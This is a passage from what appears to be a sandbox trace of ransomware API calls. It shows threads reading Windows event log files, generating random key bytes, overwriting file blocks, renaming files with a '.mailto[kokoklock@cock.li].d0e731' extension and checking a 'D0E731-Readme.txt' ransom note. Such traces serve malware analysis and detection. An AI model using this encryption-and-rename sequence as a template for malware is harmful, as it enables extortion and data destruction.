Seed=0xa9afbac) returned 0xaf7952d [0064.095] RtlRandom (in: Seed=0xa9afbac | out: Seed=0xa9afbac) returned 0x32eca0bd [0064.095] RtlRandom (in: Seed=0xa9afbac | out: Seed=0xa9afbac) returned 0xeb4e6835 [0064.095] RtlRandom (in: Seed=0xa9afbac | out: Seed=0xa9afbac) returned 0x1ff8db29 [0064.095] RtlRandom (in: Seed=0xa9afbac | out: Seed=0xa9afbac) returned 0x950ce42d [0064.095] RtlRandom (in: Seed=0xa9afbac | out: Seed=0xa9afbac) returned 0xcc44cf5d [0064.095] RtlRandom (in: Seed=0xa9afbac | out: Seed=0xa9afbac) returned 0xcfdf337d [0064.095] RtlRandom (in: Seed=0xa9afbac | out: Seed=0xa9afbac) returned 0x447205fe [0064.095] RtlRandom (in: Seed=0xa9afbac | out: Seed=0xa9afbac) returned 0x9187cf85 [0064.095] RtlRandom (in: Seed=0xa9afbac | out: Seed=0xa9afbac) returned 0xce8f195e [0064.095] RtlRandom (in: Seed=0xa9afbac | out: Seed=0xa9afbac) returned 0xd04a0e48 [0064.095] RtlRandom (in: Seed=0xa9afbac | out: Seed=0xa9afbac) returned 0x9a03b0b7 [0064.095] RtlRandom (in: Seed=0xa9afbac | out: Seed=0xa9afbac) returned 0x3b478cb4 [0064.095] RtlRandom (in: Seed=0xa9afbac | out: Seed=0xa9afbac) returned 0x7e38143b [0064.095] RtlRandom (in: Seed=0xa9afbac | out: Seed=0xa9afbac) returned 0x580fb772 [0064.095] RtlRandom (in: Seed=0xa9afbac | out: Seed=0xa9afbac) returned 0x60ad3922 [0064.095] RtlRandom (in: Seed=0xa9afbac | out: Seed=0xa9afbac) returned 0xea5aacc8 [0064.095] RtlRandom (in: Seed=0xa9afbac | out: Seed=0xa9afbac) returned 0x2e2dfb5d [0064.095] RtlRandom (in: Seed=0xa9afbac | out: Seed=0xa9afbac) returned 0x5b1b0373 [0064.095] RtlRandom (in: Seed=0xa9afbac | out: Seed=0xa9afbac) returned 0xcf93331c [0064.095] RtlRandom (in: Seed=0xa9afbac | out: Seed=0xa9afbac) returned 0x4483d80 [0064.095] RtlRandom (in: Seed=0xa9afbac | out: Seed=0xa9afbac) returned 0x117d593e [0064.095] RtlRandom (in: Seed=0xa9afbac | out: Seed=0xa9afbac) returned 0x808ea9b1 [0064.095] RtlRandom (in: Seed=0xa9afbac | out: Seed=0xa9afbac) returned 0x256d9ee0 [0064.095] RtlRandom (in: Seed=0xa9afbac | out: Seed=0xa9afbac) returned 0x4d9eee86 [0064.095] RtlRandom (in: Seed=0xa9afbac | out: Seed=0xa9afbac) returned 0xdc5937e7 [0064.095] RtlRandom (in: Seed=0xa9afbac | out: Seed=0xa9afbac) returned 0x16ff0f67 [0064.095] RtlRandom (in: Seed=0xa9afbac | out: Seed=0xa9afbac) returned 0xba9b5f72 [0064.095] RtlRandom (in: Seed=0xa9afbac | out: Seed=0xa9afbac) returned 0x8be7f0c6 [0064.096] RtlRandom (in: Seed=0xa9afbac | out: Seed=0xa9afbac) returned 0xa6089ba2 [0064.113] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be988 [0064.115] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0064.115] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be870 [0064.115] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0064.115] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cdd0) returned 1 [0064.115] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55c02c8 [0064.115] SetFilePointerEx (in: hFile=0x790, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.115] ReadFile (in: hFile=0x790, lpBuffer=0x55c02c8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xa9afb78, lpOverlapped=0x0 | out: lpBuffer=0x55c02c8*, lpNumberOfBytesRead=0xa9afb78*=0x4096, lpOverlapped=0x0) returned 1 [0064.354] SetFilePointerEx (in: hFile=0x790, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.354] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcd70 [0064.354] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0064.354] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efce8 [0064.354] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efce8) returned 1 [0064.354] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x5614fe8 [0064.356] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efae0 [0064.356] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efce8 [0064.356] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efce8) returned 1 [0064.356] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0064.356] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcd70) returned 1 [0064.356] WriteFile (in: hFile=0x790, lpBuffer=0x5614fe8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xa9afb78, lpOverlapped=0x0 | out: lpBuffer=0x5614fe8*, lpNumberOfBytesWritten=0xa9afb78*=0x4096, lpOverlapped=0x0) returned 1 [0064.356] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x5614fe8) returned 1 [0064.356] SetFilePointerEx (in: hFile=0x790, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.356] WriteFile (in: hFile=0x790, lpBuffer=0x33efae0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa9afbb0, lpOverlapped=0x0 | out: lpBuffer=0x33efae0*, lpNumberOfBytesWritten=0xa9afbb0*=0x20, lpOverlapped=0x0) returned 1 [0064.356] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efae0) returned 1 [0064.356] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55c02c8) returned 1 [0064.357] WriteFile (in: hFile=0x790, lpBuffer=0x34be870*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xa9afbc4, lpOverlapped=0x0 | out: lpBuffer=0x34be870*, lpNumberOfBytesWritten=0xa9afbc4*=0x8, lpOverlapped=0x0) returned 1 [0064.357] WriteFile (in: hFile=0x790, lpBuffer=0xa9afbdc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa9afbc4, lpOverlapped=0x0 | out: lpBuffer=0xa9afbdc*, lpNumberOfBytesWritten=0xa9afbc4*=0x4, lpOverlapped=0x0) returned 1 [0064.357] WriteFile (in: hFile=0x790, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa9afbc4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xa9afbc4*=0x4, lpOverlapped=0x0) returned 1 [0064.357] WriteFile (in: hFile=0x790, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xa9afbc4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xa9afbc4*=0x6c, lpOverlapped=0x0) returned 1 [0064.357] WriteFile (in: hFile=0x790, lpBuffer=0x34be8e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa9afbc4, lpOverlapped=0x0 | out: lpBuffer=0x34be8e8*, lpNumberOfBytesWritten=0xa9afbc4*=0x20, lpOverlapped=0x0) returned 1 [0064.357] WriteFile (in: hFile=0x790, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa9afbc4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xa9afbc4*=0x4, lpOverlapped=0x0) returned 1 [0064.357] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be8e8) returned 1 [0064.357] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be988) returned 1 [0064.358] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be870) returned 1 [0064.358] CloseHandle (hObject=0x790) returned 1 [0064.495] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc6) returned 0x33e5278 [0064.495] wcscpy (in: _Dest=0x33e5278, _Source="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" [0064.496] wcscat (in: _Dest=0x33e5278, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0064.496] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0064.572] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0064.573] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e5278) returned 1 [0064.573] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx", dwFileAttributes=0x20) returned 0 [0064.573] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3434728 [0064.573] wcscpy (in: _Dest=0x3434728, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0064.573] wcscat (in: _Dest=0x3434728, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0064.573] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0064.573] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434728) returned 1 [0064.573] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e28d0) returned 1 [0064.573] RtlExitUserThread (Status=0x1) Thread: id = 188 os_tid = 0x1168 [0063.442] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx")) returned 0x20 [0063.768] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx", dwFileAttributes=0x20) returned 1 [0063.768] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x78c [0063.769] GetFileSizeEx (in: hFile=0x78c, lpFileSize=0xaa2fa3c | out: lpFileSize=0xaa2fa3c*=69632) returned 1 [0063.769] SetFilePointerEx (in: hFile=0x78c, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.769] ReadFile (in: hFile=0x78c, lpBuffer=0xaa2fa10, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xaa2fa0c, lpOverlapped=0x0 | out: lpBuffer=0xaa2fa10*, lpNumberOfBytesRead=0xaa2fa0c*=0x4, lpOverlapped=0x0) returned 1 [0064.079] SetFilePointerEx (in: hFile=0x78c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.079] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cdd0 [0064.079] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b868 [0064.079] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b160 [0064.079] NtQuerySystemTime (in: CurrentTime=0xaa2f9e8 | out: CurrentTime=0xaa2f9e8*=132121176219715602) returned 0x0 [0064.080] RtlRandom (in: Seed=0xaa2f9f4 | out: Seed=0xaa2f9f4) returned 0xbe26cf10 [0064.080] RtlRandom (in: Seed=0xaa2f9f4 | out: Seed=0xaa2f9f4) returned 0x64a5ad78 [0064.080] RtlRandom (in: Seed=0xaa2f9f4 | out: Seed=0xaa2f9f4) returned 0x717a9779 [0064.080] RtlRandom (in: Seed=0xaa2f9f4 | out: Seed=0xaa2f9f4) returned 0x8c57904b [0064.080] RtlRandom (in: Seed=0xaa2f9f4 | out: Seed=0xaa2f9f4) returned 0x4f6a328d [0064.080] RtlRandom (in: Seed=0xaa2f9f4 | out: Seed=0xaa2f9f4) returned 0xdcc95ae3 [0064.080] RtlRandom (in: Seed=0xaa2f9f4 | out: Seed=0xaa2f9f4) returned 0x5decee44 [0064.080] RtlRandom (in: Seed=0xaa2f9f4 | out: Seed=0xaa2f9f4) returned 0x1552f26a [0064.080] RtlRandom (in: Seed=0xaa2f9f4 | out: Seed=0xaa2f9f4) returned 0xcf30b695 [0064.080] RtlRandom (in: Seed=0xaa2f9f4 | out: Seed=0xaa2f9f4) returned 0x2fde4c47 [0064.080] RtlRandom (in: Seed=0xaa2f9f4 | out: Seed=0xaa2f9f4) returned 0x3614fcc7 [0064.080] RtlRandom (in: Seed=0xaa2f9f4 | out: Seed=0xaa2f9f4) returned 0xaab4e2d1 [0064.080] RtlRandom (in: Seed=0xaa2f9f4 | out: Seed=0xaa2f9f4) returned 0x204307d9 [0064.080] RtlRandom (in: Seed=0xaa2f9f4 | out: Seed=0xaa2f9f4) returned 0xf1da7077 [0064.080] RtlRandom (in: Seed=0xaa2f9f4 | out: Seed=0xaa2f9f4) returned 0x6aaa1310 [0064.080] RtlRandom (in: Seed=0xaa2f9f4 | out: Seed=0xaa2f9f4) returned 0x474ddff5 [0064.080] RtlRandom (in: Seed=0xaa2f9f4 | out: Seed=0xaa2f9f4) returned 0x467ecd09 [0064.080] RtlRandom (in: Seed=0xaa2f9f4 | out: Seed=0xaa2f9f4) returned 0x18cc55d4 [0064.080] RtlRandom (in: Seed=0xaa2f9f4 | out: Seed=0xaa2f9f4) returned 0x734737f4 [0064.080] RtlRandom (in: Seed=0xaa2f9f4 | out: Seed=0xaa2f9f4) returned 0x2ca39059 [0064.080] RtlRandom (in: Seed=0xaa2f9f4 | out: Seed=0xaa2f9f4) returned 0xdd136102 [0064.080] RtlRandom (in: Seed=0xaa2f9f4 | out: Seed=0xaa2f9f4) returned 0x12753520 [0064.080] RtlRandom (in: Seed=0xaa2f9f4 | out: Seed=0xaa2f9f4) returned 0x3b1b7655 [0064.080] RtlRandom (in: Seed=0xaa2f9f4 | out: Seed=0xaa2f9f4) returned 0x8779af60 [0064.080] RtlRandom (in: Seed=0xaa2f9f4 | out: Seed=0xaa2f9f4) returned 0x88c9cca6 [0064.080] RtlRandom (in: Seed=0xaa2f9f4 | out: Seed=0xaa2f9f4) returned 0xfef7bfaa [0064.080] RtlRandom (in: Seed=0xaa2f9f4 | out: Seed=0xaa2f9f4) returned 0x16b613b9 [0064.080] RtlRandom (in: Seed=0xaa2f9f4 | out: Seed=0xaa2f9f4) returned 0x1d52b2f6 [0064.080] RtlRandom (in: Seed=0xaa2f9f4 | out: Seed=0xaa2f9f4) returned 0x762e5249 [0064.080] RtlRandom (in: Seed=0xaa2f9f4 | out: Seed=0xaa2f9f4) returned 0x2ec20b57 [0064.080] RtlRandom (in: Seed=0xaa2f9f4 | out: Seed=0xaa2f9f4) returned 0x85ea7b41 [0064.080] RtlRandom (in: Seed=0xaa2f9f4 | out: Seed=0xaa2f9f4) returned 0x306fcec1 [0064.090] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4760 [0064.093] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0064.093] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efab8 [0064.093] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0064.093] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cdd0) returned 1 [0064.093] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55bc228 [0064.093] SetFilePointerEx (in: hFile=0x78c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.093] ReadFile (in: hFile=0x78c, lpBuffer=0x55bc228, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xaa2f9c0, lpOverlapped=0x0 | out: lpBuffer=0x55bc228*, lpNumberOfBytesRead=0xaa2f9c0*=0x4096, lpOverlapped=0x0) returned 1 [0064.348] SetFilePointerEx (in: hFile=0x78c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.348] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0064.348] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0064.348] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efae0 [0064.348] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efae0) returned 1 [0064.348] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x5614fe8 [0064.348] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efce8 [0064.348] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efa40 [0064.348] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efa40) returned 1 [0064.348] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0064.348] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0064.348] WriteFile (in: hFile=0x78c, lpBuffer=0x5614fe8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xaa2f9c0, lpOverlapped=0x0 | out: lpBuffer=0x5614fe8*, lpNumberOfBytesWritten=0xaa2f9c0*=0x4096, lpOverlapped=0x0) returned 1 [0064.349] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x5614fe8) returned 1 [0064.349] SetFilePointerEx (in: hFile=0x78c, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.349] WriteFile (in: hFile=0x78c, lpBuffer=0x33efce8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xaa2f9f8, lpOverlapped=0x0 | out: lpBuffer=0x33efce8*, lpNumberOfBytesWritten=0xaa2f9f8*=0x20, lpOverlapped=0x0) returned 1 [0064.349] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efce8) returned 1 [0064.349] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55bc228) returned 1 [0064.352] WriteFile (in: hFile=0x78c, lpBuffer=0x33efab8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xaa2fa0c, lpOverlapped=0x0 | out: lpBuffer=0x33efab8*, lpNumberOfBytesWritten=0xaa2fa0c*=0x8, lpOverlapped=0x0) returned 1 [0064.353] WriteFile (in: hFile=0x78c, lpBuffer=0xaa2fa24*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xaa2fa0c, lpOverlapped=0x0 | out: lpBuffer=0xaa2fa24*, lpNumberOfBytesWritten=0xaa2fa0c*=0x4, lpOverlapped=0x0) returned 1 [0064.353] WriteFile (in: hFile=0x78c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xaa2fa0c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xaa2fa0c*=0x4, lpOverlapped=0x0) returned 1 [0064.353] WriteFile (in: hFile=0x78c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xaa2fa0c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xaa2fa0c*=0x6c, lpOverlapped=0x0) returned 1 [0064.353] WriteFile (in: hFile=0x78c, lpBuffer=0x347b868*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xaa2fa0c, lpOverlapped=0x0 | out: lpBuffer=0x347b868*, lpNumberOfBytesWritten=0xaa2fa0c*=0x20, lpOverlapped=0x0) returned 1 [0064.353] WriteFile (in: hFile=0x78c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xaa2fa0c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xaa2fa0c*=0x4, lpOverlapped=0x0) returned 1 [0064.353] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b868) returned 1 [0064.353] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4760) returned 1 [0064.353] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efab8) returned 1 [0064.353] CloseHandle (hObject=0x78c) returned 1 [0064.495] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa8) returned 0x33cdcc8 [0064.495] wcscpy (in: _Dest=0x33cdcc8, _Source="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" [0064.495] wcscat (in: _Dest=0x33cdcc8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0064.495] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0064.574] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0064.574] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cdcc8) returned 1 [0064.574] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx", dwFileAttributes=0x20) returned 0 [0064.575] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x34344a8 [0064.575] wcscpy (in: _Dest=0x34344a8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0064.575] wcscat (in: _Dest=0x34344a8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0064.575] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0064.575] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34344a8) returned 1 [0064.575] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c9d00) returned 1 [0064.575] RtlExitUserThread (Status=0x1) Thread: id = 189 os_tid = 0x116c [0063.443] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx")) returned 0x20 [0063.767] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx", dwFileAttributes=0x20) returned 1 [0063.767] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x788 [0063.767] GetFileSizeEx (in: hFile=0x788, lpFileSize=0xaaafc08 | out: lpFileSize=0xaaafc08*=69632) returned 1 [0063.767] SetFilePointerEx (in: hFile=0x788, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.767] ReadFile (in: hFile=0x788, lpBuffer=0xaaafbdc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xaaafbd8, lpOverlapped=0x0 | out: lpBuffer=0xaaafbdc*, lpNumberOfBytesRead=0xaaafbd8*=0x4, lpOverlapped=0x0) returned 1 [0064.020] SetFilePointerEx (in: hFile=0x788, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.020] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efab8 [0064.020] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efae0 [0064.020] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efd88 [0064.020] NtQuerySystemTime (in: CurrentTime=0xaaafbb4 | out: CurrentTime=0xaaafbb4*=132121176219101565) returned 0x0 [0064.020] RtlRandom (in: Seed=0xaaafbc0 | out: Seed=0xaaafbc0) returned 0x72ff4854 [0064.020] RtlRandom (in: Seed=0xaaafbc0 | out: Seed=0xaaafbc0) returned 0x698ce3dd [0064.020] RtlRandom (in: Seed=0xaaafbc0 | out: Seed=0xaaafbc0) returned 0x624c26e8 [0064.020] RtlRandom (in: Seed=0xaaafbc0 | out: Seed=0xaaafbc0) returned 0xd70767c3 [0064.020] RtlRandom (in: Seed=0xaaafbc0 | out: Seed=0xaaafbc0) returned 0xe7653b3 [0064.020] RtlRandom (in: Seed=0xaaafbc0 | out: Seed=0xaaafbc0) returned 0x4596427 [0064.020] RtlRandom (in: Seed=0xaaafbc0 | out: Seed=0xaaafbc0) returned 0x893ccc59 [0064.020] RtlRandom (in: Seed=0xaaafbc0 | out: Seed=0xaaafbc0) returned 0x19e025b5 [0064.020] RtlRandom (in: Seed=0xaaafbc0 | out: Seed=0xaaafbc0) returned 0xfd341d26 [0064.020] RtlRandom (in: Seed=0xaaafbc0 | out: Seed=0xaaafbc0) returned 0x74345f75 [0064.020] RtlRandom (in: Seed=0xaaafbc0 | out: Seed=0xaaafbc0) returned 0x52889dbe [0064.020] RtlRandom (in: Seed=0xaaafbc0 | out: Seed=0xaaafbc0) returned 0x6f7cd608 [0064.020] RtlRandom (in: Seed=0xaaafbc0 | out: Seed=0xaaafbc0) returned 0x520e4658 [0064.020] RtlRandom (in: Seed=0xaaafbc0 | out: Seed=0xaaafbc0) returned 0xbeb66fe6 [0064.020] RtlRandom (in: Seed=0xaaafbc0 | out: Seed=0xaaafbc0) returned 0xde346e6d [0064.021] RtlRandom (in: Seed=0xaaafbc0 | out: Seed=0xaaafbc0) returned 0x63aa70aa [0064.021] RtlRandom (in: Seed=0xaaafbc0 | out: Seed=0xaaafbc0) returned 0x83fb94bf [0064.021] RtlRandom (in: Seed=0xaaafbc0 | out: Seed=0xaaafbc0) returned 0x3ef7da97 [0064.021] RtlRandom (in: Seed=0xaaafbc0 | out: Seed=0xaaafbc0) returned 0xd79697cc [0064.021] RtlRandom (in: Seed=0xaaafbc0 | out: Seed=0xaaafbc0) returned 